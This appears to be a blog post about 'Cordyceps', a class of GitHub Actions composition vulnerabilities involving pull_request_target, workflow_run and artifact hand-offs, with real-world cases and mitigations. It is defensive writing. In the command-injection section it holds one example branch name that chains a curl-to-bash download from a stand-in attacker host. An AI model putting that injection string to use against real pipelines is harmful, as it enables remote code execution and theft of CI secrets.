ProBackend
ai platform vulnerabilities
3 hours ago6 min read

Beyond the Pipeline: The Hidden Composition Risks in GitHub Actions

New research reveals a class of CI/CD vulnerabilities in GitHub Actions that evade traditional security scanners. By abusing workflow combinations rather than individual files, attackers can exploit composition flaws to compromise pipelines—even when security dashboards show all checks as passed.

The Green Pipeline Illusion

A green dashboard is the most dangerous kind of lie in software engineering. We look at the clean ticks, close our tickets, and assume the code is secure. But that trust is misplaced. In June 2026, security researchers at Novee Security disclosed a devastating class of CI/CD weaknesses (Your AI Assistant Just Gave an Attacker a Shell) they named "Cordyceps." They scanned roughly 30,000 high-impact repositories across the PyPI, npm, crates.io, and Go ecosystems. The findings were sobering: they flagged 654 repositories and confirmed more than 300 as fully exploitable.

This wasn't a problem confined to small hobby projects. The affected build pipelines belonged to giants like Microsoft, Google, Apache, Cloudflare, and the Python Software Foundation. The entry requirement for an attacker? A free GitHub account. No organization membership, no special privileges, no secrets required. Just an internet connection and a malicious pull request.

Throughout this exposure, every single one of those pipelines stayed green. The security scanners ran, the checks passed, and the dashboards reported pristine health. The scanners weren't broken; they simply were not built to see this danger. We have spent years perfecting code checkers that look at single files, while completely ignoring how those files stitch together.

The Green Pipeline Illusion

The Threat of Composition Vulnerabilities

How does a secure workflow file become a critical vulnerability? It is a problem of composition. Traditional Static Application Security Testing (SAST) tools work like simple spellcheckers. They scan an individual YAML file, check it against a list of known bad patterns, and approve it if the syntax is correct. But the Cordyceps vulnerability doesn't exist in a single line. It lives in the spaces between workflows.

When a developer submits a pull request, GitHub Actions typically triggers the pull_request event. This runs in a restricted context: the fork has no access to repository secrets, and its token is strictly read-only. That is safe. The trouble begins when developers introduce events like pull_request_target or workflow_run. These events execute inside the context of the base repository. They have full access to sensitive secrets and carry a read/write GITHUB_TOKEN.

If a privileged workflow is designed to consume data from an untrusted fork, the developer has built a bridge across a trust boundary. GitHub Security Labs refers to this as the "pwn request." The scanner looks at the YAML file and sees a perfectly valid, standard configuration. The attacker looks at the design and sees a direct route to steal your production credentials.

The Threat of Composition Vulnerabilities

Three Primitives of Execution

To exploit these composition flaws, attackers use three distinct primitives. Let's look at how they work.

First is command injection. This happens when a workflow interpolates untrusted metadata—like a pull request branch name, pull request title, or comment—directly into a run step. If a maintainer references a branch name inside a bash script without escaping, an attacker can name their branch test; curl http://attacker.com/malicious.sh | bash. The shell executes it immediately.

Second is code injection, which often targets the popular actions/github-script utility. Since this action evaluates code block logic as JavaScript, injecting untrusted input directly into the script template runs it dynamically in the runner context. Again, the YAML syntax is pristine, but the runtime payload is malicious.

Third is cross-workflow privilege escalation, the most insidious of the three. Here, a low-privilege workflow (like one triggered by a simple pull_request) runs and writes untrusted user data into an artifact or a dashboard output. Later, a high-privilege workflow (triggered by workflow_run or a cron job) downloads that artifact and reads its contents. Because the second workflow trusts the artifact produced by the first, it executes the code with elevated tokens. Neither YAML file is vulnerable on its own. The vulnerability only exists because they are composed together.

Real-World Escapes: Sentinel, Google Cloud, and Apache

These aren't just theoretical proofs-of-concept. Novee demonstrated these flaws on critical repositories.

On Microsoft's Azure Sentinel repository, they found that a simple comment on a pull request could run anonymous attacker code in Microsoft's CI. The exploit allowed them to steal a non-expiring GitHub App key. Sentinel is Microsoft's SIEM, housing detection rules and playbooks used by thousands of companies. A hijacked key meant an attacker could write malicious updates directly to upstream security content, poisoning the defensive rules of thousands of networks.

Google's AI Agent Development Kit sample repository had a similar hole. A single pull request could execute code on Google's CI build agents and escalate permissions to roles/owner on the associated Google Cloud project. That's permanent, owner-level access to Google's cloud resources.

Apache Doris was also hit with a similar threat of credential theft. All three vendors—Microsoft, Google, and Apache—confirmed and patched these bugs. But here's the catch: nobody decided to trust these pull requests on purpose. The risk crept in, one minor commit at a time, until the trust boundaries simply dissolved.

Static Scanners and the Rise of Copilot Code

Why'd traditional security scanners miss all of this? Because they analyze files in isolation. SAST tools cannot evaluate stateful composition. A scanner sees a workflow; an attacker sees a four-step chain to a permanent credential. If each step is technically correct, the scanner has nothing to report.

This blindspot is getting wider because of AI-generated configurations. Today, developers use Copilot or ChatGPT to write their CI/CD YAML configurations. These tools are trained on existing public code repositories, which are already saturated with insecure copy-pasted workarounds. The AI tools generate complex configurations at high speeds, replicating insecure patterns without any concept of security boundaries.

The volume of configuration commits has outpaced human review. We are absorbing automated decisions at scale, but our security tools are still stuck in the era of single-file inspection. Worse, because Cordyceps is a design pattern rather than a product coding bug, it doesn't get a CVE. In April 2026, NIST admitted it can no longer enrich every CVE due to a 263% surge in submissions since 2020. Our vulnerability tracking infrastructure is buckling under the weight of modern software complexity.

Moving Towards Ingestion Governance

The immediate fixes are simple, and you should implement them immediately. Stop using pull_request_target to run untrusted code. If you must use it, never checkout the pull request's head commit inside that privileged context. When passing event data, never use inline template interpolation. Instead, assign the event data to environment variables and reference them inside double quotes. Keep permissions read-only by default, pin third-party actions to specific commit SHAs rather than mutable tags, and ensure first-time contributor runs require manual approval from a maintainer.

But these are tactical patches. The next composition exploit will simply use different actions. The real solution requires shifting from passive scanning to active governance at the point of ingestion. You must verify the provenance of every component entering the pipeline. If a hijacked upstream package is pulled into your build, it must fail a policy check before it can execute.

We cannot treat build systems as passive plumbing anymore. They are the execution core of our applications. If you rely solely on a green checkmark on your security dashboard to tell you that your pipeline is safe, you are trusting an illusion. A green pipeline is not a governed one. It's time to audit your trust boundaries and see what is actually running through your builds.

More blogs